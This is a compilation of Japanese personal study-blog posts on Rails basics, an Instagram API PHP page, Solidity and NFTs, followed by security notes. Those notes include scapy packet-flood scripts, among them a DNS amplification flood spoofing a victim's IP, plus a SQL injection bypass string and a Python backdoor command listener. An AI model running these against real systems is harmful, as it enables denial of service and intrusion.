Rails 基礎2

viewでヘルパーを使用
index.html.erb

		<% @posts.each do |post| %>
		<li>
			<%= link_to post.title, post_path(post) %>				
		</li>
		<% end %>

posts_controller.rb

	def show
		@post = Post.find(params[:id])
	end

show.html.erb

<h2><%= @post.title %></h2>
<p><%= @post.body %></p>

app/assets/images/logo.png
link_toでリンクを指定し、root_pathでリンク先を指定する

  	<div class="container">
  		<h1><%= link_to image_tag('logo.png', class: 'logo'), root_path %></h1>
    <%= yield %>
	</div>

css

.logo {
	width: 200px;
	height: 50px;
}

リンクを作成する

	<h2>
		<%= link_to 'Add New', new_post_path, class: 'header-menu' %>
		My Posts
	</h2>

css

.header-menu {
	font-size: 12px;
	font-weight: normal;
	float: right;
}

controller

	def new
	end

	def create
	end

new.html.erb

<h2>Add New Post</h2>
<%= form_for :post, url:posts_path do |f| %>
<p>
	<%= f.text_field:title, placeholder: 'enter title' %>
</p>
<p>
	<%= f.text_area:body, placeholder: 'enter body text' %>
</p>
<p>
	<%= f.submit %>
</p>
<% end %>

css

input[type="text"], textarea {
	box-sizing: border-box;
	width: 400px;
	padding: 5px;
}

textarea {
	height: 160px;
}

posts_controller.rb

	def create
		render plain: params[:post].inspect
	end

“aa”, “body”=>”bb”} permitted: false>

	def create
		# render plain: params[:post].inspect
		@post = Post.new(params[:post])
		@post.save
		redirect_to posts_path
	end

private methodで書く

	def create
		# render plain: params[:post].inspect
		@post = Post.new(post_params)
		@post.save
		redirect_to posts_path
	end

	private
		def post_params
			params.require(:post).permit(:title, :body)
		end

バリデーション
app/models/post.rb

class Post < ApplicationRecord
	validates :title, presence: true, length: {minimum: 3, message: 'too short to post!'}
	validates :body, presence: true
end

controller

	def create
		# render plain: params[:post].inspect
		@post = Post.new(post_params)
		if @post.save
			redirect_to posts_path
		else
			render 'new'
		end
	end

view

<p>
	<%= f.text_field:title, placeholder: 'enter title' %>
	<% if @post.errors.messages[:title].any? %>
	<span class="error"><%= @post.errors.messages[:title][0] %></span>
	<% end %>
</p>
<p>
	<%= f.text_area:body, placeholder: 'enter body text' %>
	<% if @post.errors.messages[:body].any? %>
	<span class="error"><%= @post.errors.messages[:body][0] %></span>
	<% end %>
</p>

### edit
index.html.erb

			<%= link_to post.title, post_path(post) %>	
			<%= link_to '[Edit]', edit_post_path(post), class: 'command' %>		

controller

	def edit 
		@post = Post.find(params[:id])
	end

edit.html.erb
L newとほぼ同じ

<h2>Edit Post</h2>
<%= form_for @post, url:post_path(@post) do |f| %>
<p>
	<%= f.text_field:title, placeholder: 'enter title' %>
	<% if @post.errors.messages[:title].any? %>
	<span class="error"><%= @post.errors.messages[:title][0] %></span>
	<% end %>
</p>
<p>
	<%= f.text_area:body, placeholder: 'enter body text' %>
	<% if @post.errors.messages[:body].any? %>
	<span class="error"><%= @post.errors.messages[:body][0] %></span>
	<% end %>
</p>
<p>
	<%= f.submit %>
</p>
<% end %>

controller

	def update
		@post = Post.find(params[:id])
		if @post.update(post_params)
			redirect_to posts_path
		else
			render 'edit'
		end
	end

改行を適切なタグに直す

<h2><%= @post.title %></h2>
<p><%= simple_format @post.body %></p>

### partialで共通部品を作る
partialはアンダーバー(_)から始める
views/posts/_form.html.erb

<%= form_for @post do |f| %>
<p>
	<%= f.text_field:title, placeholder: 'enter title' %>
	<% if @post.errors.messages[:title].any? %>
	<span class="error"><%= @post.errors.messages[:title][0] %></span>
	<% end %>
</p>
<p>
	<%= f.text_area:body, placeholder: 'enter body text' %>
	<% if @post.errors.messages[:body].any? %>
	<span class="error"><%= @post.errors.messages[:body][0] %></span>
	<% end %>
</p>
<p>
	<%= f.submit %>
</p>
<% end %>

edit.html.erb
L partialの名前をアンダーバー抜きで書く

<h2>Edit Post</h2>
<%= render 'form' %>

new.html.erb

<h2>Add New Post</h2>
<%= render 'form' %>

### delete

		<li>
			<%= link_to post.title, post_path(post) %>	
			<%= link_to '[Edit]', edit_post_path(post), class: 'command' %>
			<%= link_to '[x]', 
			post_path(post), 
			method: :delete, 
			class: 'command',
			data: { confirm: 'Sure ?'} %>	
		</li>

controller

	def destroy
		@post = Post.find(params[:id])
		@post.destroy
		redirect_to posts_path
	end

Rails 基礎1

– model作成
$ rails g model Post title:string body:text
$ rails db:migrate

### DB接続
$ rails db
sqlite> .tables
ar_internal_metadata posts schema_migrations
// テーブル名は複数形になる
sqlite> select * from posts;
1|title1|body1|2022-01-03 00:47:27.389516|2022-01-03 00:47:27.389516
2|title2|body2|2022-01-03 00:47:34.246581|2022-01-03 00:47:34.246581
sqlite> .quit

db/seeds.rb に初期データを書ける

5.times do |i|
	Post.create(title: "title #{i}", body: "body #{i}")
end

テーブルの中身をリセット
$ rails db:migrate:reset
$ rails db:seed
sqlite> select * from posts;
1|title 0|body 0|2022-01-03 02:38:34.229316|2022-01-03 02:38:34.229316
2|title 1|body 1|2022-01-03 02:38:34.242102|2022-01-03 02:38:34.242102
3|title 2|body 2|2022-01-03 02:38:34.248025|2022-01-03 02:38:34.248025
4|title 3|body 3|2022-01-03 02:38:34.253382|2022-01-03 02:38:34.253382
5|title 4|body 4|2022-01-03 02:38:34.259377|2022-01-03 02:38:34.259377

### controller
$ rails g controller Posts

config/routes.rb

Rails.application.routes.draw do

  resources :posts
end

$ rails routes
Prefix Verb URI Pattern Controller#Action
posts GET /posts(.:format) posts#index
POST /posts(.:format) posts#create
new_post GET /posts/new(.:format) posts#new
edit_post GET /posts/:id/edit(.:format) posts#edit
post GET /posts/:id(.:format) posts#show
PATCH /posts/:id(.:format) posts#update
PUT /posts/:id(.:format) posts#update
DELETE /posts/:id(.:format) posts#destroy

app/controllers/post_controller.rb

class PostsController < ApplicationController

	def index
		@posts = Post.all.order(created_at: 'desc')
	end
end

app/views/posts/index.html.erb

	<h2>My Posts</h2>
	<ul>
		<% @posts.each do |post| %>
		<li><%= post.title %></li>
		<% end %>
	</ul>

$ rails s -b 192.168.33.10 -d
http://192.168.33.10:3000/posts

route pass

Rails.application.routes.draw do
  # For details on the DSL available within this file, see http://guides.rubyonrails.org/routing.html
  resources :posts

  root 'posts#index'
end

app/views/layouts/application.html.erb
app/assets/stylesheets/application.css

.container {
	width: 400px;
	margin: 20px auto;
}
body {
	font-family: Verdana, sans-serif;
	font-size: 14px;
}
h2 {
	font-size: 16px;
	padding-bottom: 10px;
	margin-bottom: 15px;
	border-bottom: 1px solid #ddd;
}

ul > li {
	margin-bottom: 5px;
}

[InstagramAPI] 投稿を取得してHTMLで表示

1. facebookとinstagramのアカウントを開設(すでにある場合はスキップ)
2. instagramをビジネスアカウントへ変更
3. Facebookページの作成
4. FacebookページとInstagramビジネスアカウントの紐づけ
5. Facebookアプリ作成
6. アクセストークンを取得する ()
– InstagramグラフAPIエクスプローラーで、アクセストークンを取得
instagram_basic
instagram_manage_comments
instagram_manage_insights
instagram_manage_messages
instagram_content_publish
business_management
– 上記で取得した「アクセストークン」と、Facebookアプリの「アプリID」と「app secret」からアクセストークンを取得
https://graph.facebook.com/v4.0/oauth/access_token?grant_type=fb_exchange_token&client_id=[★アプリID]&client_secret=[★app secret]&fb_exchange_token=[★1番目のトークン]

– https://graph.facebook.com/v4.0/me?access_token=[★2番目のトークン] でIDを取得
– https://graph.facebook.com/v4.0/[★ここにIDを入力]/accounts?access_token=[★2番目のトークン]
– InstagramビジネスアカウントIDを取得

### htmlで表示
conf.php

<?php

return [
    'business_id' => '${business_id}',
    'access_token' => '${access_token}',
];
?>

index.php

<?php

$config = include(__DIR__ . '/conf.php');

$business_id = $config['business_id'];
$access_token = $config['access_token'];

if(isset($_GET['username']) && $_GET['username'] != ""){
	$username = htmlspecialchars($_GET['username']);
} else {
	$username = "miyagawadai";
}

$url = "https://graph.facebook.com/v4.0/" . $business_id ."?fields=business_discovery.username(" . $username . "){media{timestamp,media_url,like_count,comments_count,caption}}&access_token=" . $access_token;

try {
	$json = json_decode(file_get_contents($url), true);
	$results = $json['business_discovery']['media']['data'];
} catch (Exception $ex){
	$results = "";
}

?>

<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<title>Get Instagram Likes!</title>
	<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bulma@0.9.3/css/bulma.min.css">
	<style>
		body {
			margin: 50px 200px 50px;
		}
		.card {
			width: 100%;
		} 
		.card-content{
			height: 120px;
		}
	</style>
</head>
<body>
	<h1 class="title">Get Instagram Likes!</h1>
	<form action="">
		<div class="field">
		  <label class="label">User Name</label>
		  <div class="control">
		    <input class="input" type="text" name="username" placeholder="Instagram username">
		  </div>
		</div>
		<div class="control">
		    <button type="submit" class="button is-link is-light">Show</button>
		 </div>
	</form>
	<hr>
	<?php
		echo "result: " .$username."<br><br><br>";
		echo "<div class='columns'>";
		$i = 1;
		foreach($results as $result){
			echo "<div class='card column'><div class='card-image'><figure class='image is-4by3'><img src=" . $result['media_url'] ."></figure></div><div class='card-content'><div class='content'>" .number_format($result['like_count'])." Like!<br>".mb_substr($result['caption'], 0, 30)."...</div></div></div>" ;
			if($i % 3 == 0) {
				echo "</div><div class='columns'>";
			}
			$i++;
		}
		echo "</div>";
	?>
</body>
</html>

defaultで”miyagawadai”さんのinstaを表示する様にしています。

ほう、
twitterよりも規約が厳しい模様
やってる人もそんなに多くないか…

ubuntu20.04でRailsを触りたい

### 環境構築
$ ruby -v
$ rbenv install –list
$ rbenv install 2.7.2

$ sudo apt install sqlite3
$ sqlite3 –version
3.31.1 2020-01-27 19:55:54 3bfa9cc97da10598521b342961df8f5f68c7388fa117345eeb516eaa837balt1

$ gem install rails -v 5.1.3 –no-document
$ sudo apt install ruby-railties
$ rails -v
Rails 5.1.3

### railsアプリ
$ rails new myapp
$ rails server -b 192.168.33.10 -d
=> Booting Puma
=> Rails 5.1.7 application starting in development
=> Run `rails server -h` for more startup options

サーバーのdown
$ cat tmp/pids/server.pid
24555
$ kill -9 24555

ログ
$ tail log/development.log

### scaffold
$ rails g scaffold Memo title:string body:text
$ rails db:migrate

http://192.168.33.10:3000/memos

$ ps aux | grep puma
$ kill -9 24777

app, config, dbなどを主に使用する

### model作成
単数系になる
$ rails g model Post title:string body:text
$ rails db:migrate

### データ挿入
$ rails c

$ p = Post.new(title:’title1′, body:’body1′)
$ p.save

$ Post.create(title:’title2′, body:’body2′)

$ Post.all
$ quit

[Ethereum] Solidityの基礎構文 その2

### contractでの宣言

pragma solidity ^0.4.19;

contract ZombieFactory {

    uint dnaDigits = 16;
}

uintは符号なし256ビットinteger(正のみ)、uint8、uint16、 uint32などもある

### 構造体

contract ZombieFactory {

    uint dnaDigits = 16;
    uint dnaModulus = 10 ** dnaDigits;
    
    struct Zombie {
        string name;
        uint dna;
    }

}

### 配列
solidityには固定長配列と可変長配列がある

uint[2] fixedArray;

string[5] stringArray;

uint[] dynamicArray;
```
publicな配列にすれば、他のコントラクトもこの配列を読める
```
contract ZombieFactory {

    uint dnaDigits = 16;
    uint dnaModulus = 10 ** dnaDigits;

    struct Zombie {
        string name;
        uint dna;
    }
    Zonbie[] public zombies;

}

### 関数

function eatHumburgers(string _name, uint _amount) {
	
}

eatHamburgers("vitalink", 100)

実例

    function createZombie(string _name, uint _dna){

    }

### 新しい構造体

Person satoshi = Person(20, "Satoshi");
people.push(satoshi)

people.push(Person(15, "akemi"));

関数の中に書く

    function createZombie(string _name, uint _dna) {
        // ここから始めるのだ
        zombies.push(Zombie(_name, _dna));
    }

### Private/Public
publicの関数は誰でもコントラクトの関数を呼び出して実行できる
以下の様に書くと、contract内の他の関数からのみ読み出せる

uint[] numbers;

function _addToArray(uint _number) private {
	numbers.push(_number);
}

privateの関数はアンダーバー(_)で始めるのが通例

    function _createZombie(string _name, uint _dna) private {
        zombies.push(Zombie(_name, _dna));
    }

### 関数の戻り値

string greeting = "what's up dog";

function sayHello() public returns (string) {
	return greeting;
}

関数で変更するにはviewを使う

function sayHello() public view returns (string) {
	return greeting;
}

テスト

    function _generateRandomDna(string _str) private view returns(uint){
        
    }

### Keccak256
ランダムな256ビットの16進数

    function _generateRandomDna(string _str) private view returns (uint) {
        uint rand = uint(keccak256(_str));
        return rand % dnaModulus;
    }

### 統合

    function createRandomZombie(string _name) public {
        uint randDna = _generateRandomDna(_name);
        _createZombie(_name, randDna);
    }

### event
ブロックチェーンで何かが生じた時にフロントエンドに伝えることができる
何かあったときにアクションを実行する

event IntegersAdded(uint x, uint y, uint result);

function add(uint _x, uint _y) public {
	uint result = _x + _y;
	IntegersAdded(_x, _y, result);
	return result;
}

js側

YourContract.IntegersAdded(function(error, result) {
  // 結果について何らかの処理をする
})

テスト

    event NewZombie(uint zombieId, string name, uint dna);

    function _createZombie(string _name, uint _dna) private {
        uint id = zombies.push(Zombie(_name, _dna)) - 1;
        NewZombie(id, _name, _dna);
    }

### フロントエンド

var abi = ""
var ZombieFactoryContract = web3.eth.contract(abi)
var ZombieFactory = ZombieFactoryContract.at(contractAddress)

#("ourButton").click(function(e) {
	var name = $("#nameInput").val()
	ZombieFactory.createRandomZombie(name)
})

var event = ZombieFactory.NewZombie(function(error, result){
	if(error) return
	generateZombie(result.zombieId, result.name, result.dna)
})

function generateZombie(id, name, dna){
	let dnaStr = String(dna)

	while(dnaStr.length < 16)
		dnaStr = "0" + dnaStr

	let zombieDetails = {
		headChoice: dnaStr.substring(0, 2) % 7 + 1,
	    eyeChoice: dnaStr.substring(2, 4) % 11 + 1,
	    shirtChoice: dnaStr.substring(4, 6) % 6 + 1,
	    skinColorChoice: parseInt(dnaStr.substring(6, 8) / 100 * 360),
	    eyeColorChoice: parseInt(dnaStr.substring(8, 10) / 100 * 360),
	    clothesColorChoice: parseInt(dnaStr.substring(10, 12) / 100 * 360),
	    zombieName: name,
	    zombieDescription: "A Level 1 CryptoZombie",
	}

	return zombieDetails
}

なるほど、ゾンビとかふざけ気味だが、中々のものだな

[NFT] mintとは

NFTにおけるMintとはスマートコントラクトを使ってNFTを新たに作成発行すること
NFTマーケットプレイスにアップロードし、オンチェーンになっていることをmintと言う
OpenSeaではMintが使われている

### Matic
Polygonはイーサリアムにおけるセカンドレイヤソリューションの一つ
イーサリアムのスケーラビリティ問題を解決するために作られたプロジェクト
MaticからPolygonにリブランディングされた
高速、低コスト
イーサリアムからは独立したコンセンサスアルゴリズム
zkrollup
様々なDappsやDeFiがPolygonに参入

### NFTにできるコンテンツ
芸術作品、デジタルアート、音楽、土地、ゲーム、映画・アニメ、ライブチケット、ゲームのアイテム

なるほど、モダンな開発では、Polygonベースで作っていくのね

[Security] DoS攻撃

自分の契約しているvpsに自分でパケットを送る

$ pip3 install scapy

from scapy.all import*

source_IP = "*.*.*.*"
target_IP = "*.*.*.*"
source_port = "80"
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1/TCP1
   send(pkt, inter = .001)

   print("paket sent ", i)
   i = i + 1

$ python3 main.py
raise AttributeError(fname)
AttributeError: source_IP

うまくいかんな

違う方法

from scapy.all import *

target = "*.*.*.*"
dns1 = "*.*.*.*"

udp = UDP(dport=53)
dns = DNS(rd=1, qdcount=1, qd=DNSQR(qname="www.google.com", qtype=255))

i = 1

while True:
   ip = IP(src=target, dst=dns1)
   request = (ip/udp/dns)
   send(request)

   print("udp sent ", i)
   i = i + 1

なるほど、while文でパケットを送り続けるのか
ネットワーク周りの知識がかなり必要だな

[Security] ステルスコマンディング

リクエストに不正な命令文を隠しこむことで、WebブラウザからWebアプリケーションに予想外の動作を引き起こす攻撃

a) OSコマンドインジェクション
b) sqlインジェクション
以下のパスワードを入力することでWHERE句全体が常に真(TRUE)となり、正規のパスワードが何であってもログインが成功する

' OR '1'='1

XPATHインジェクション、ディレクトリ検索条件に干渉するLDAPインジェクションなどがある

[Security] バックドアとデバックオプション

システムの裏口のようなもので、認証や正規の手順を踏まずにある機能を直接利用したりするための機能
開発中のバグ修正などを行う
バックドア、デバックオプションを削除せずに運用が開始される場合がある

### サンプル1
http://www.example.co.jp/bank.cgi/?debug=off

http://www.example.co.jp/bank.cgi/?debug=on&from=9876-5432&to=1234-5678&amount=1000000

デバックオフで制御を解除して実行できてしまう
「Gazer」では、コード内の文字列を変化、マーカーをランダム化させ、証拠と思わしきファイルを消去するなど痕跡が残らない巧妙な設計がなされている
アクセスしただけでダウンロードが始まる

### Pythonによるバックドア例
1. バックドアアクセス用のサーバ作成
socket, subprocessを使用する
socketでは、TCPまたはUDPソケットを作成するために使用できる関数も呼び出される
socket.socket関数でソケットw作成する
socket.AF_INET: IPv4指定
socket_STREAM: TCP指定

import socket
def connection():
    global s
    s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind(('0.0.0.0', 4445))
    s.listen(1)
    print("waiting...")
def accept_connections():
    global target
    target, ip_list= s.accept()
    print("connection received from: " + str(ip_list[0]))
def commands():
    while True:
        command= input('command> ')
        bit_encoded_command= str.encode(command)
        if command== 'exit':
            target.send(bit_encoded_command)
            receive= target.recv(1024)
            receive_decoded= bytes.decode(receive, "utf-8")
            print(receive_decoded)
            break
connection()
accept_connections()
commands()

[Security] アプリケーションバッファオーバー

システムが予め確保しているうバッファ領域よりも大きなサイズを送りつけることで、バッファ領域を溢れさせ、バッファ領域外のコードを任意のコードで上書きしてしまう攻撃

例えば、入力フォームで数千文字の数字を入力して送信ボタンを押すと、送り込まれた大量のデータがバッファ領域を超え、バッファ領域外が上書きされてしまうことがある。
各入力フォームの最大長を設定することで防ぐことができる

char *
gets(char *buf)
{
  int c;
  char *s;
  for (s = buf; (c = getchar()) != '\n'; )
    if (c == EOF)
        if (s == buf){
            return (NULL);
        } else
            break;
    else
        *s++ = c;
  *s = '\0';
  return (buf);
}

入力したデータを全て受け取ると、オブジェクトの値が変わることがある

DoS攻撃は、サーバ負荷を増やすための攻撃
なるほど、バリデーションが如何に大事か理解できました